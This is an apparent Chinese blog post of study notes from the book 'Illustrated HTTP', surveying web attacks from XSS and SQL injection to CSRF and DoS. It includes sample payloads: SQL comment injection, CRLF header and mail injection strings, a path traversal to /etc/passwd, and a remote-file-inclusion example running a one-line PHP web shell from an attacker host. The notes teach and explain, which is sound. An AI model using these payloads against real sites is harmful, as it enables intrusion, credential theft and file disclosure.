Take a great notice on the Web Attack via HTTP.

基于 HTTP 的Web网站的攻击技术

Posted by mslinzz on 2017-08-08

前言

继上一篇A little bit of HTTP sth sth.之后, 把Web的攻击技术也在此做个记录. 记录哪些攻击 Web 站点的手段, 以及攻击会造成怎么样的影响.

针对 Web 的攻击技术

1.HTTP不具备必要的安全功能或者加密技术等安全处理.

2.在客户端即可篡改请求. 在 Web 应用中, 从浏览器接受到的 HTTP 请求中的全部内容, 都可以在客户端自由变更, 篡改. 在 HTTP 请求报文内加载攻击代码, 就能发起对 Web 应用的攻击.

3.针对 Web 的攻击模式分为: 主动攻击和被动攻击.

主动攻击(active attack)是指攻击者通过直接访问 Web 应用, 把攻击代码传入的攻击模式, 但需要攻击者能够访问服务器的资源.

被动攻击(passive attack)是指利用圈套或制作诱饵策略执行攻击代码的攻击模式. 或者说, 攻击者不直接对目标 Web 应用访问发起攻击.

因输出值转义不完全引发的安全漏洞

一般 Web 应用的安全对策可看做是以下两个部分:

  • 客户端的验证
  • 服务器端的验证: 输入值验证, 输入值转义

1.跨站脚本攻击

跨站脚本攻击(Cross-Site Scripting, XSS)是指通过存在的安全漏洞的 Web 网站注册用户的浏览器内运行非法的 HTML 标签或 JavaScript 进行的一种攻击. 动态创建的 HTML 部分有可能隐藏着安全漏洞, 就这样攻击者编写脚本设置陷阱, 用户在不经意间操作之后就会受到被动攻击.

可能造成的影响:

  • 利用虚假输入表单骗取用户个人信息.
  • 利用脚本窃取用户的 Cookie 值, 被害者在不知情的情况下, 帮助攻击者发送恶意请求.
  • 显示伪造的文章或图片.

2.SQL注入攻击

SQL注入攻击(SQL Injection)是指针对 Web 应用使用的数据库, 通过运行非法的 SQL 而产生的攻击.

可能造成的影响:

  • 非法查看或篡改数据库内的数据
  • 规避认证
  • 执行和数据库服务器业务关联的程序等
1
2
3
4
5
// 正常简单的查询语句案例
SELECT * FROM book WHERE author = 'mslinzz' and falg = 1;
// 加入攻击的语句
SELECT * FROM book WHERE author = 'mslinzz' --' and falg = 1;

上述攻击案例中, 攻击之后的语句在获取的查询字符串后追加了 ' -- 这几个字符, -- 之后的内容释为注释, 所以之后的查询条件则无效了.

3.OS 命令注入攻击

OS 命令注入攻击(OS Command Injection)是指通过 Web 应用, 执行非法的操作系统命令达到攻击的目的. 只要在能调用 Shell 的地方就会存在攻击的风险.

4.HTTP 首部注入攻击

HTTP 首部注入攻击(HTTP Header Injection)是指攻击者通过在响应首部字段内插入换行, 添加任意响应首部或主体的一种攻击. 属于被动攻击.

可能造成的影响:

  • 设置任何 Cookie 信息
  • 重定向至任意 URL
  • 显示任意的主体(HTTP 响应截断攻击)
1
2
3
4
5
// 此处是一个正常请求
http://example.com/a.cgi?q=101
// 此处是被攻击之后的请求
http://example.com/a.cgi?q=101%0D%0ASet-Cookie:+SID=12345
1
2
3
// 次数是请求中的报文一部分
Locaion: http://example.com/a.cgi?q=101
Set-cookie: SID=12345

上述Set-cookie: SID=12345就是插入的值, 因 %0D%0A 代表HTTP报文中的换行符, 此时攻击者网站的会话ID强制设置成 SID=12345.

像上处案例, 还有 HTTP 响应截断攻击, 如:

1
2
// 请求攻击字符串
%0D%0A%0D%0A<HTML><HEAD><TITLE>之后, 写入网页的内容 <!--
1
2
3
4
// 被攻击之后的请求首部
Set-cookie: SID=(%0D%0A: 换行符)
(%0D%0A: 换行符)
<HTML><HEAD><TITLE>之后, 写入网页的内容 <!-- (这里原来的首部会被注释)

5.邮件首部注入攻击

邮件首部注入(Mail Header Injection)是指 Web 应用中的邮件发送功能, 攻击者通过向邮件首部 To 或 Subject 内任意添加非法内容发起的攻击. 利用存在安全漏洞的 Web 网站, 可对任意邮件地址发送广告邮件或病毒邮件. 如下:

1
2
//%0D0A 换行符 Bcc邮件追加了发送
bob@hackr.jp%0D%0ABcc:user@exmaple.com
1
2
//%0D%0A%0D%0A 两个换行符可能篡改邮件内容并发送
bob@hackr.jp%0D%0A%0D%0ATest Message

6.目录遍历攻击

目录遍历(Directory Traversal)攻击是指对本无意公开的文件目录, 通过非法截断其目录路径后, 达成访问目的的一种攻击. 这种攻击有时也称路径遍历(Path Traversal)攻击. 如下:

1
2
3
4
5
// 正常访问某个log日志
http://example.com/read.php?log=0401.log
// 攻击者访问某个请求
http://example.com/read.php?log=../../etc/passwd

7.远程文件包含漏洞

远程文件包含漏洞(Remote File Inclusion)是指当部分脚本内容需要从其他文件读入时, 攻击者利用指定外部服务器的 URL 充当依赖文件, 让脚本读取之后, 就可运行任意脚本的一种攻击.

这主要是 PHP 存在的安全漏洞, 对 PHP 的 include 或 require 来说, 这是一种可通过设定, 指定外部服务器的 URL 作为文件名的功能. 但是, 该功能太危险, PHP5.2.0 之后默认设定此功能无效了.

1
2
3
4
// http://exmaple.com/foo.php?mod=news.php 中的一部分代码
$modname = $_GET['mod'];
include($modname);
1
2
3
4
// http://exmaple.com/foo.php?mod=http://hackr.jp/cmd.php&cmd=ls 攻击者的请求
// 以下是攻击者写好的文件 http://hackr.jp/cmd.php
<? system($_GET['cmd']); ?>

因设置或设计上的缺陷引发的安全漏洞

1.强制浏览

强制浏览(Forced Browsing)安全漏洞是指, 从安置在 Web 服务器的公开目录下的文件中, 浏览那些原本非自愿公开的文件.

可能造成的影响:

  • 泄漏顾客的个人信息等重要情报
  • 泄漏原本需要具体有访问权限的用户才可查阅的信息内容
  • 泄漏未外连到外界的文件
1
2
3
4
5
6
7
8
9
10
11
// 如备份文件名称
http://example.com/cgi-bin/entry.cgi
http://example.com/cgi-bin/entry.bak
http://example.com/cgi-bin/entry.cgi.bak
// 如有规律的文件名称
http://example.com/entry/entry_170805.log
http://example.com/entry/entry_170806.log
// 如强制浏览某个图片地址
http://example.com/img/ASFASNIQWKLSFA.jpg

2.不正确的错误消息处理

不正确的错误消息处理(Error Handling Vulnerability)的安全漏洞是指, Web 应用的错误信息内包含对攻击者有用的信息.

与 Web 应用有关的主要错误信息如下:

  • Web应用抛出的错误消息
  • 数据库等系统抛出的错误消息

对用户来说, Web 浏览器不必给用户展示详细的错误消息. 对攻击者来说, 详细的错误消息有可能会给攻击者创建下次攻击的有利条件.

系统抛出的错误信息主要集中在以下几个方面:

  • PHP 或 ASP 等脚本错误
  • 数据库或中间件的错误
  • Web服务器的错误

3.开放重定向

开放重定向(Open Redirect)是一种对指定任意URL作重定向跳转的功能. 若重定向的URL被劫持, 有可能就会诱导至攻击者的网址.

1
2
3
4
5
// 开放性重定向正常请求
http://exmaple.com?redirect=http://tricorder.jp
// 被劫持更改的重定向请求
http://exmaple.com?redirect=http://hackr.jp

因会话管理疏忽引发的安全漏洞

1.会话劫持

会话劫持(Session Hijack)是指攻击者通过某种手段拿到了用户的会话ID, 并非法使用会话ID伪装成用户, 达到攻击的目的. 以下几种攻击者可获得会话ID:

  • 通过非正规的生成方法推测会话ID
  • 通过窃听或XSS攻击盗取会话ID
  • 通过会话固定攻击(Session Fixation)强行获取会话ID

2.会话固定攻击

对以窃取目标会话ID为主动手段的会话劫持而言, 会话(Session Fixation)固定会强制用户使用攻击者指定的会话ID, 属于被动攻击.

3.跨站点请求伪造

跨站点请求伪造(Cross-Site Request Forgeries, CSRF)攻击是指攻击者通过设置好的陷阱, 强制对已完成认证的用户进行非预期的个人信息或设定信息等某些状态更新, 属于被动攻击.

可能造成的影响:

  • 利用已通过认证的用户权限更新设定信息等
  • 利用已通过认证的用户权限购买商品
  • 利用已通过认证的用户权限在留言板上发表言论

其他安全漏洞

1.密码破解

密码破解攻击(Password Cracking)即算出密码, 突破认证. 攻击不仅限于 Web 应用, 还包括其他的系统(如FTP或SSH等).

密码破解有以下两种手段:

  • 通过网络的密码试错. 方式有 穷举法字典攻击
  • 对已加密密码的破解(指攻击者入侵系统, 已获得加密或散列处理的密码数据的情况). 方式有 通过穷举法 &quot; 字典攻击进行类推, 彩虹表, 拿到密钥加密算法的漏洞.

除去突破认证的攻击手段, 还有SQL注入攻击逃避认证, 跨站脚本攻击窃取密码信息等方法.

2.点击劫持

点击劫持(Clickjacking)是指利用透明的按钮或链接做成陷阱,覆盖在 Web 页面之上, 然后诱使用户在不知情的情况下, 点击那个链接访问内容的一种攻击手段. 这种行为也称界面伪装(UI Redressing).

3.Dos攻击

Dos攻击(Denial of Service attack)是一种让运行中的服务呈停止状态的攻击. 有时叫做服务停止或拒绝服务攻击. 不仅限于 Web 网站, 还包括网络设备及服务器等.

主要有以下两种 Dos 攻击方式:

  • 集中利用访问请求造成资源过载, 资源用尽的同时, 实际上服务也就程停止状态.
  • 通过攻击安全漏洞使服务停止.

多台计算机发起的 Dos 攻击称为 DDos攻击(Distributed Denial of Service attack)

4.后门程序

后门程序(Backdoor)是指开发设置的隐藏入口, 可不按正常步骤使用的受限功能.

通常分为以下 3 种类型:

  • 开发阶段作为 Debug 调用的后门程序
  • 开发者为了自身利益植入的后门程序
  • 攻击者通过某种方法设置的后门程序

注明

以上摘录至 <<图解HTTP>> 作为个人阅读后的复习笔记.